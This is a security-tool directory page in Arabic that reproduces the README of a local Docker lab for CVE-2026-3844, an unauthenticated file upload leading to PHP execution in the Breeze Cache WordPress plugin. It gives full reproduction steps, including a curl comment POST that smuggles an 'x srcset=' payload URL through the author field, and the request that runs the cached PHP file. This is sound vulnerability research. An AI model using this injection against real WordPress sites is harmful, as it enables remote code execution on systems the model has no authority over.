Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-3844-Lab | Kitploit
أدوات/GitHubGitHub/rootdirective-sec/cve-2026-3844-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFالتعلم والتعليممختبرات وتدريب عملي
GitHubrootdirective-sec/cve-2026-3844-lab

CVE-2026-3844-Lab

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-3844 — مختبر رفع الملفات التعسفي غير المصادق عليه إلى تنفيذ الأوامر عن بُعد (RCE) في Breeze Cache

مختبر Docker محلي فقط لإعادة إنتاج ومقارنة سلوك CVE-2026-3844 في إضافة Breeze Cache الخاصة بووردبريس.

يوضح هذا المستودع السلوك القابل للاستغلال في Breeze Cache 2.4.4 ويقارنه بالسلوك المُصحح في Breeze Cache 2.4.5. يستخدم المختبر خدمتي ووردبريس معزولتين، إحداهما قابلة للاستغلال والأخرى مُصححة، بالإضافة إلى خادم حمولة محلي داخل شبكة Docker.

إثبات المفهوم (PoC) مُصمم ليكون بالحد الأدنى من الضرر: فهو لا يستخدم ويب شيل، ولا يعرض معامل أوامر، ولا يبدأ قشرة عكسية (reverse shell)، ولا يتطلب قراءة ملفات من داخل الحاوية. يعتمد الإثبات على سلوك HTTP قابل للملاحظة من المضيف.


الملخص التنفيذي

تؤثر ثغرة CVE-2026-3844 على إضافة Breeze Cache لووردبريس حتى الإصدار 2.4.4 وما قبله. مسار الكود القابل للاستغلال مرتبط بميزة التخزين المحلي لصور Gravatar في الإضافة، وتحديدًا تدفق fetch_gravatar_from_remote().

عند تفعيل خيار Host Files Locally - Gravatars في Breeze، يمكن للإصدارات القابلة للاستغلال جلب ملف عن بُعد يتحكم فيه المهاجم وتخزينه تحت دليل ذاكرة تخزين مؤقت عام يمكن الوصول إليه عبر الويب. إذا كان الملف الذي تم جلبه هو PHP، فقد ينفَّذ الملف بواسطة خادم الويب عند طلبه عبر HTTP.

يعيد هذا المختبر إنتاج ذلك السلوك محليًا:

  • خدمة vuln: ووردبريس + Breeze Cache 2.4.4
  • خدمة patched: ووردبريس + Breeze Cache 2.4.5
  • خدمة payload: خادم حمولة محلي داخل Docker فقط
  • إثبات المفهوم (PoC): محفّز قائم على التعليقات بدون مصادقة باستخدام سلسلة srcset مُتحكم بها

النتيجة المتوقعة هي:

  • http://127.0.0.1:8081 / Breeze 2.4.4 → ملف PHP الإثباتي يتم تخزينه مؤقتًا وتنفيذه
  • http://127.0.0.1:8082 / Breeze 2.4.5 → ملف PHP الإثباتي لا يتم تخزينه مؤقتًا/قراءته/تنفيذه

هيكل المستودع

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── seed-wordpress.sh
├── payload/
│   └── manual-proof.php
│   └── proof-cve3844.php
├── poc/
│   └── poc.py
│   └── requirements.txt
├── .gitignore
├── README.md

بنية المختبر

root@kitploit:~
Host machine
│
├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100  -> local payload server

Docker network
│
├── vuln       -> WordPress vulnerable target
├── patched    -> WordPress patched target
├── vuln_db    -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload    -> Python static HTTP server

تتواصل حاويات ووردبريس مع الحمولة عبر عنوان شبكة Docker:

root@kitploit:~
http://payload:9100/<payload-file>.php

يتحقق المضيف من النتيجة عبر طلبات HTTP عادية إلى خدمات ووردبريس.


المكوّن المتأثر

  • المنتج: إضافة Breeze Cache لووردبريس
  • الإصدار القابل للاستغلال في هذا المختبر: 2.4.4
  • الإصدار المُصحح في هذا المختبر: 2.4.5
  • الدالة القابلة للاستغلال: fetch_gravatar_from_remote()
  • الملف المعني: inc/class-breeze-cache-cronjobs.php
  • الشرط المسبق المطلوب: يجب تفعيل breeze-store-gravatars-locally

لا يمكن الوصول إلى السلوك القابل للاستغلال إلا عند تفعيل التخزين المحلي لـ Gravatar. هذا الخيار معطَّل افتراضيًا في التثبيتات النموذجية، لكن هذا المختبر يفعّله عمدًا لإعادة إنتاج مسار الكود القابل للاستغلال.


ملخص السبب الجذري

في Breeze Cache 2.4.4، يمكن لتدفق توطين Gravatar استخراج عنوان URL بعيد من HTML مرتبط بالصور الرمزية وتمريره إلى fetch_gravatar_from_remote().

يفتقر الإصدار القابل للاستغلال إلى التحقق الكافي حول الملف البعيد:

  • لا يوجد تحقق صارم من المضيف الموثوق لمصادر Gravatar
  • لا توجد قائمة بيضاء موثوقة لامتدادات الملفات قبل الحفظ
  • لا يوجد تحقق من MIME/المحتوى قبل وضع الملف في دليل ذاكرة تخزين مؤقت عام
  • قد يحتفظ الملف الذي تم جلبه بامتداد خطير مثل .php

يُخزَّن الملف الناتج تحت:

root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/

عند حفظ ملف PHP هناك ثم طلبه عبر Apache/PHP، ينفذه الخادم.

في Breeze Cache 2.4.5، يضيف التدفق المُصحح تحققًا يمنع تخزين حمولة هذا المختبر كملف PHP قابل للتنفيذ. في إعادة الإنتاج المحلية، يعمل المحفّز نفسه ضد 2.4.4 لكنه لا يُظهر علامة الإثبات ضد 2.4.5.


لماذا يستخدم هذا المختبر مساعد MU Plugin

يبقي هذا المختبر خادم الحمولة محليًا عمدًا بدلاً من استخدام مضيف حمولة عام.

ترفض download_url() الخاصة بووردبريس وواجهة HTTP API الخاصة بووردبريس بعض أسماء مضيفات Docker الخاصة والمنافذ غير القياسية افتراضيًا. غالبًا ما تستخدم سكربتات الاستغلال العامة عناوين حمولة HTTPS عامة، مما يتجنب ذلك القيد. هذا المختبر لا يفعل ذلك.

لإبقاء إعادة الإنتاج محلية بالكامل، يثبّت سكربت البذر (seed) مساعد MU plugin محليًا صغيرًا يقوم بما يلي:

  • يسمح فقط بأسماء مضيفات Docker المحلية payload و payload.local
  • يسمح فقط بمنافذ المختبر 80 و 9100
  • يعتمد تعليقات المختبر تلقائيًا
  • يعطّل فحوصات فيضان التعليقات لضمان اختبار محلي حتمي

لا يقوم هذا المساعد بتعديل الكود المصدري لـ Breeze. تستخدم كل من الخدمة القابلة للاستغلال والمُصححة إصدارات حقيقية من إضافة Breeze مثبتة عبر WP-CLI.

المساعد موجود فقط لجعل مختبر Docker حتميًا ومحليًا فقط.


نموذج الأمان

هذا المستودع مخصص للبحث الأمني المحلي وعرض الأعمال فقط.

ضوابط السلامة:

  • يعمل فقط على localhost وخدمات شبكة Docker
  • لا يوجد خادم استدعاء خارجي
  • لا يوجد هدف استغلال عام
  • لا توجد قشرة عكسية
  • لا توجد قشرة تفاعلية
  • لا يوجد سلوك ويب شيل cmd=
  • لا توجد أسرار أو بيانات اعتماد حقيقية
  • لا توجد قراءة لملفات الحاوية للإثبات
  • يتم ملاحظة الإثبات من خلال سلوك استجابة HTTP

تطبع حمولة إثبات المفهوم معلومات وقت تشغيل PHP غير ضارة:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>

يُثبت ذلك سياق تنفيذ الكود دون تشغيل أوامر قشرة.


المتطلبات

  • Docker Desktop أو Docker Engine
  • Docker Compose v2
  • Python 3.9+
  • حزمة Python: requests

تثبيت تبعية Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

يجب أن يحتوي requirements.txt على:

root@kitploit:~
requests

البدء السريع

بناء المختبر وتشغيله:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

فحص حالة الخدمات:

root@kitploit:~
docker compose ps

الخدمات المتوقعة:

root@kitploit:~
vuln        healthy    http://127.0.0.1:8081
patched     healthy    http://127.0.0.1:8082
payload     running    http://127.0.0.1:9100
vuln_db     healthy
patched_db  healthy

فحص سجلات البذر:

root@kitploit:~
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched

أسطر السجل المتوقعة:

root@kitploit:~
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5

التحقق من جاهزية المختبر

التحقق من تثبيت ووردبريس:

root@kitploit:~
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html

التحقق من إصدارات Breeze:

root@kitploit:~
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html

المتوقع:

root@kitploit:~
2.4.4
2.4.5

التحقق من الشرط المسبق للثغرة:

root@kitploit:~
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html

المتوقع:

root@kitploit:~
1
1

التحقق من أن ووردبريس يمكنه جلب خدمة الحمولة المحلية:

root@kitploit:~
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html

إذا لم يكن proof-cve3844.php موجودًا بعد، أنشئ أي ملف مؤقت في payload/ أو شغّل إثبات المفهوم مرة واحدة.


تشغيل إثبات المفهوم

التشغيل ضد الخدمة القابلة للاستغلال:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8081

النتيجة المتوقعة للنظام القابل للاستغلال:

root@kitploit:~
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed

مثال على مخرجات الإثبات:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>

التشغيل ضد الخدمة المُصححة:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8082

النتيجة المتوقعة للنظام المُصحح:

root@kitploit:~
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable

لا يُعتبر إعادة التوجيه مثل 301 Moved Permanently إثباتًا. يتطلب إثبات المفهوم ظهور العلامة الفريدة في نص استجابة HTTP.


ماذا يفعل إثبات المفهوم

ينفذ إثبات المفهوم التدفق المحلي التالي:

  1. ينشئ ملف إثبات PHP فريدًا تحت payload/.
  2. يقدمه عبر خدمة الحمولة المحلية.
  3. ينشر تعليق ووردبريس غير مصادق عليه بقيمة كاتب تحتوي على:
root@kitploit:~
x srcset=http://payload:9100/<unique-payload>.php
  1. يطلب صفحة مقال ووردبريس لتحفيز معالجة Breeze للصور الرمزية.
  2. يفحص مسار ذاكرة التخزين المؤقت العامة المتوقع في Breeze:
root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
  1. يؤكد وجود الثغرة فقط إذا ظهرت علامة الإثبات الفريدة في استجابة HTTP.
  2. يزيل ملف الحمولة المحلي الذي تم إنشاؤه ما لم يُستخدم --keep-payload.

لا يقرأ إثبات المفهوم ملفات من داخل الحاوية المستهدفة. يتم جمع الدليل عبر HTTP من المضيف.


إعادة الإنتاج اليدوية

إنشاء حمولة يدوية:

root@kitploit:~
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');

echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP

تأكيد أن خادم الحمولة يقدم الكود المصدري PHP كنص ثابت:

root@kitploit:~
curl -i http://127.0.0.1:9100/manual-proof.php

نشر تعليق على خدمة ووردبريس القابلة للاستغلال:

root@kitploit:~
curl -i -sS \
  -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'comment_post_ID=1' \
  --data-urlencode 'comment_parent=0' \
  --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'url=' \
  --data-urlencode 'comment=manual CVE-2026-3844 proof' \
  --data-urlencode 'submit=Post Comment'

تحفيز معالجة Breeze عبر عرض المقال من خلال مضيف عنوان موقع ووردبريس المُهيأ:

root@kitploit:~
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html

دليل HTML المتوقع:

root@kitploit:~
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'

طلب ملف PHP المخزن مؤقتًا:

root@kitploit:~
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'

الإثبات المتوقع للثغرة:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8

CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>

فحص سجلات الحمولة:

root@kitploit:~
docker compose logs --tail=50 payload

المتوقع:

root@kitploit:~
GET /manual-proof.php HTTP/1.1" 200

النتائج المتوقعة

الهدفإصدار Breezeالنتيجة المتوقعة
http://127.0.0.1:80812.4.4يتم جلب إثبات PHP وتخزينه مؤقتًا وتنفيذه
http://127.0.0.1:80822.4.5لا يتم كشف علامة إثبات PHP

التنظيف

إيقاف وإزالة الحاويات والشبكات ووحدات التخزين:

root@kitploit:~
docker compose down -v --remove-orphans

إزالة ملفات الحمولة المولدة إذا لزم الأمر:

root@kitploit:~
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php

المراجع

  • NVD — CVE-2026-3844:
    https://nvd.nist.gov/vuln/detail/CVE-2026-3844

  • قاعدة بيانات Patchstack — إضافة Breeze Cache لووردبريس <= 2.4.4 رفع ملفات تعسفي غير مصادق عليه عبر fetch_gravatar_from_remote:
    https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

  • Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 رفع ملفات تعسفي غير مصادق عليه:
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

  • مدونة Wordfence — تغطية الاستغلال النشط لثغرة Breeze Cache:
    https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

  • صفحة إضافة Breeze Cache:
    https://wordpress.org/plugins/breeze/

  • تنزيلات إضافة ووردبريس المستخدمة في هذا المختبر:

    • Breeze Cache 2.4.4:
      https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
    • Breeze Cache 2.4.5:
      https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
  • WordPress Plugin Trac — مرجع كود Breeze المصدر، class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php


إخلاء المسؤولية

هذا المشروع مخصص للبحث الأمني المحلي المصرح به فقط. لا تشغّل إثبات المفهوم ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.

تنزيل الأداة
  • WordPress Plugin Trac — مرجع كود Breeze المُصحح، class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php